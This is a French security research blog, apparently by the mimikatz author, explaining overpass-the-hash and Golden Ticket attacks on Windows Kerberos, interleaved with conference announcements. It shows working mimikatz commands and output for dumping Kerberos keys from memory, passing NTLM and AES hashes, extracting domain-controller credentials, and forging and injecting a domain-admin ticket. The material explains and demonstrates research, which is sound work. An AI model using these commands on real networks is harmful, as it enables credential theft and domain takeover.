Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.


(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ blackhat 2014 – LV

blackhat

Cette année, Skip `Alva` Duckwall a eu la très gentille idée de m’inviter à présenter les nouveautés de mimikatz au sujet de Kerberos!

Nous présenterons donc, ensemble, le 7 août à 11:45 dans la salle ‘South Seas CD’ du Mandalay Bay à Las Vegas, « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It »

mimikatz_sticker
Viendez donc nous voir ! J’aurais des stickers ;)
defcon
J’essayerais aussi de passer une tête au talk de Chris Campbell : « The Secret Life of Krbtgt » à la Defcon!

gentilkiwi @ RMLL 2014 (Libre Software Meeting 2014)

sthack_elephant

Christophe Brocas m’a proposé un événement qui m’est un peu particulier : les 15èmes Rencontres Mondiales du Logiciel Libre (RMLL / LSM).

Mon attachement sur certains aspect à Windows ne laisse pas facilement deviner que j’apprécie la philosophie du libre ! Pourtant mimikatz l’est totalement, et opensource ;)

J’aurais donc la chance de participer à la track Sécurité des RMLL et présenterai donc mimikatz et ses nouveautés Mercredi 9 Juillet à 10:10 sur le campus du Triolet de l’UM2 (Université de Montpellier) – Salle SC002.

Au programme : « mimikatz, un petit voyage au cœur de la mémoire du service de sécurité Windows », des mots de passe, des hash, des clés, des tickets d’or… https://2014.rmll.info/conference80

N’oubliez pas d’aller voir toutes les autres conférences : https://2014.rmll.info/schedule, (et en particulier la track sécurité :P https://2014.rmll.info/theme26).

gentilkiwi @ St’Hack 4.0

sthack_elephant

Agix a eu la gentille idée de m’inviter à Bordeaux pour la 4ème édition de la St’Hack.

Je présenterai donc mimikatz et ses nouveautés Vendredi 14 Mars à 15h50 au CAPC (https://goo.gl/maps/QtwvV)

Venez assister à plusieurs conférences de sécurité et serrer la patte d’un gentilkiwi !
Programme disponible à l’adresse https://www.sthack.fr/fr/talks

J’essayerai de faire des stickers mimikatz cette fois ;)

Au programme :

Présentation de méthodes de récupération et de rejoue des données d’authentification Windows

  • Faiblesse des gestionnaires de sécurité et améliorations sous Windows 8.1 ;
  • Utilisation de moyens matériel, une solution ? ;
  • Quelques petits à-côtés pour les survivants.

sthack

Golden Ticket

golden_ticket

Nous l’avons vu précédemment, les tickets Kerberos peuvent être récupérés et réinjectés.
Ces derniers sont très pratiques :

  • ils permettent l’authentification basé sur un mot de passe ou une carte à puce ;
  • le SSO associé reste transparent ;
  • le changement de mot de passe n’influe pas sur les tickets déjà émis ;
  • etc.

La cible de choix concernant les tickets Kerberos reste le TGT. Ce ticket ne permet pas d’accéder directement à un service en particulier, mais « représente » l’identité de l’utilisateur courant lors des demandes de tickets de service au KDC (permettant ensuite d’accéder directement à une multitude de services ;))

Le TGT est généré par le KDC après que le client ait « prouvé » qu’il possédait un secret de l’utilisateur (le hash NTLM découlant du mot de passe utilisateur ou la clé privée d’un certificat émis par une autorité autorisé du domaine).
Par défaut ce TGT est valide 10 heures, et peut être renouvelé tacitement pendant 7 jours.

Le client a connaissance des métadonnées du ticket Kerberos pour son suivi (quand le renouveler, pour quel domaine ce dernier peut être utilisé, avec quelle clé de session chiffrer les échanges…), mais le TGT en lui même est chiffré par le KDC via le hash du compte krbtgt. Le client ne peut pas le déchiffrer , il s’en sert « tel quel ».

Création d’un ticket d’or

A partir d’informations spécifiques, il est possible de demander à mimikatz de créer un TGT très particulier du compte admin du domaine !
Ces informations sont :

  • Nom du compte administrateur (Administrateur)
  • Nom complet du domaine (domain.local)
  • SID du domaine (S-1-5-21-1723555596-1415287819-2705645101)
  • Hash NTLM du compte krbtgt (6194bd1a5bf3ecd542e8aac9860bddf0)

C’est tout.
Le ticket d’or peut être généré depuis n’importe quelle machine, même hors du domaine…

mimikatz # kerberos::golden /admin:Administrateur /domain:domain.local /sid:S-1-5-21-1723555596-1415287819-2705645101 /krbtgt:6194bd1a5bf3ecd542e8aac9860bddf0 /ticket:domain.local.kirbi

golden_create
Ha oui, quelques rappels/détails :

  • il s’agit du compte Administrateur du domaine ;
  • ce ticket est valide 10 heures ans ;
  • le changement de mot de passe du compte Administrateur n’a aucun impact sur ce ticket ;
  • ce ticket n’est pas émis par le KDC, il n’est pas assujetti aux restrictions des méthodes de chiffrements autorisées ;
  • le hash NTLM du compte krbtgt/la clé du KDC n’est pas renouvelée automatiquement.

Utilisation du ticket d’or

golden_ticket_use

Tout comme un ticket « récupéré », ce ticket d’or peut être injecté sous Windows NT 6 via le message au package Kerberos : KerbSubmitTicketMessage.

mimikatz # kerberos::ptt domain.local.kirbi

golden_ticket_use_10yr

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

willy wonka meme

Explications

Nul besoin d’être Willy Wonka pour comprendre le format des tickets Kerberos, ainsi que les petites spécificités Microsoft pour la partie « autorisation » :

Extrait :

KRB-CRED        ::= [APPLICATION 22] SEQUENCE {
        pvno            [0] INTEGER (5),
        msg-type        [1] INTEGER (22),
        tickets         [2] SEQUENCE OF Ticket,
        enc-part        [3] EncryptedData -- EncKrbCredPart
}

Il « suffit » de créer, chiffrer et encoder correctement les structures qui suivent.

Contenu du TGT

sous sa forme KRB-CRED

Le ticket est encodé en ASN.1 et contient une partie des métadonnées.

APPLICATION (22) : SEQUENCE : 
 (0) : INTEGER : 5
 (1) : INTEGER : 22
 (2) : SEQUENCE : 
  APPLICATION (1) : SEQUENCE : 
   (0) : INTEGER : 5
   (1) : GENERAL STRING : 'DOMAIN.LOCAL'
   (2) : SEQUENCE : 
    (0) : INTEGER : 2
    (1) : SEQUENCE : 
     GENERAL STRING : 'krbtgt'
     GENERAL STRING : 'DOMAIN.LOCAL'
    (3) : SEQUENCE : 
     (0) : INTEGER : 23
     (1) : INTEGER : 2
     (2) : OCTET STRING : 
      68A972A80FE035DE6D165F63F6071D
      [...]
      59BD9F3FA2C146053271
   (3) : SEQUENCE : 
    (0) : INTEGER : 0
    (2) : OCTET STRING : 
     APPLICATION (29) : SEQUENCE : 
      (0) : SEQUENCE : SEQUENCE : 
       (0) : SEQUENCE : 
        (0) : INTEGER : 23
        (1) : OCTET STRING : 
         582AE1D0472CE6F2C0E4CADB3BCE91C1
       (1) : GENERAL STRING : 'DOMAIN.LOCAL'
       (2) : SEQUENCE : 
        (0) : INTEGER : 1
        (1) : SEQUENCE : 
         GENERAL STRING : 'Administrateur'
        (3) : BIT STRING UnusedBits:0 : 40E10000
         (5) : GENERALIZED TIME : '20140118160650Z'
         (6) : GENERALIZED TIME : '20140119020650Z'
         (7) : GENERALIZED TIME : '20140125160650Z'
         (8) : GENERAL STRING : 'DOMAIN.LOCAL'
         (9) : SEQUENCE : 
          (0) : INTEGER : 2
          (1) : SEQUENCE : 
           GENERAL STRING : 'krbtgt'
           GENERAL STRING : 'DOMAIN.LOCAL'

Les lignes 17 à 19 sont un extrait du TGT chiffrés.

TGT déchiffré

A l’aide du hash NTLM du compte krbtgt, le TGT peut être déchiffré.
C’est d’ailleurs ce que fait le KDC quand le TGT lui est renvoyé lors d’une demande de ticket de service. Il ne prend évidemment pas pour argent comptant les métadonnées renvoyés par le client.

APPLICATION (3) : SEQUENCE : 
 (0) : BIT STRING UnusedBits:0 : 40E10000
 (1) : SEQUENCE : 
  (0) : INTEGER : 23
  (1) : OCTET STRING : 
   582AE1D0472CE6F2C0E4CADB3BCE91C1
  (2) : GENERAL STRING : 'DOMAIN.LOCAL'
  (3) : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : SEQUENCE : 
    GENERAL STRING : 'Administrateur'
  (4) : SEQUENCE : 
   (0) : INTEGER : 0
   (1) : OCTET STRING : 
  (5) : GENERALIZED TIME : '20140118160650Z'
  (6) : GENERALIZED TIME : '20140118160650Z'
  (7) : GENERALIZED TIME : '20140119020650Z'
  (8) : GENERALIZED TIME : '20140125160650Z'
  (10) : SEQUENCE : SEQUENCE : 
   (0) : INTEGER : 1
   (1) : OCTET STRING : SEQUENCE : SEQUENCE : 
    (0) : INTEGER : 128
    (1) : OCTET STRING : 
     050000000000000001000000280
     [...]
     B22B83D6D3B9D549E88D0000000

Les lignes 24 à 26 sont un extrait du PAC (structure regroupant des données d’autorisation).

Contenu du PAC

Ces données sont encodées au format DCE avec un marshalling des données RPCE. Cette structure peut, dans certains cas, contenir les hashs LM/NTLM de l’utilisateur.

*** Logon Informations ***

LogonTime              01cf14674bc48b49 - 18/01/2014 17:06:50
LogoffTime             7fffffffffffffff -
KickOffTime            7fffffffffffffff -
PasswordLastSet        01cf0fe36db4dea8 - 12/01/2014 23:12:48
PasswordCanChange      01cf10ac981e9ea8 - 13/01/2014 23:12:48
PasswordMustChange     01cf30e4630e5ea8 - 23/02/2014 23:12:48

EffectiveName          (28, 28, @ 00020004)     Administrateur
FullName               (50, 50, @ 00020008)     Administrateur du domaine
LogonScript            ( 0,  0, @ 0002000c)     (null)
ProfilePath            ( 0,  0, @ 00020010)     (null)
HomeDirectory          ( 0,  0, @ 00020014)     (null)
HomeDirectoryDrive     ( 0,  0, @ 00020018)     (null)

LogonCount             18
BadPasswordCount       0

UserId                 000001f4 (500)
PrimaryGroupId         00000201 (513)

GroupCount             5
GroupIds               @ 0002001c
 * 520  (7)
 * 513  (7)
 * 512  (7)
 * 518  (7)
 * 519  (7)

UserFlags              00000020 (32)
UserSessionKey         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

LogonServer            (22, 24, @ 00020020)     DC-2012R2-X
LogonDomainName        (12, 14, @ 00020024)     DOMAIN

LogonDomainId          @ 00020028
 * SID : S-1-5-21-1723555596-1415287819-2705645101

UserAccountControl     00000010 (16)
SubAuthStatus          00000000 (0)

LastSuccessfulILogon   0000000000000000
LastFailedILogon       0000000000000000

FailedILogonCount      0

SidCount               1
ExtraSids              @ 0002002c
ResourceGroupDomainSid @ 00000000
ResourceGroupCount     0
ResourceGroupIds       @ 00000000

*** Client name and ticket information ***
ClientId 01cf14674ba00900 - 18/01/2014 17:06:50
Client   (28, Administrateur)

*** Server Signature ***
Type -138 - (0) : 28 0c 88 6b ac 03 88 86 c6 dc ed a2 55 15 b9 b0

*** KDC Signature ***
Type -138 - (0) : d7 2d f9 00 a5 e4 b2 2b 83 d6 d3 b9 d5 49 e8 8d

La signature du serveur est ici basé sur la clé du KDC elle même (la cible d’un TGT restant finalement un KDC). S’il s’agissait d’un ticket de service, le hash du compte NTLM du servicé visé aurait été utilisé.
La signature du KDC est évidemment basée sur la clé du KDC.

Plus d’information sur la signature du PAC :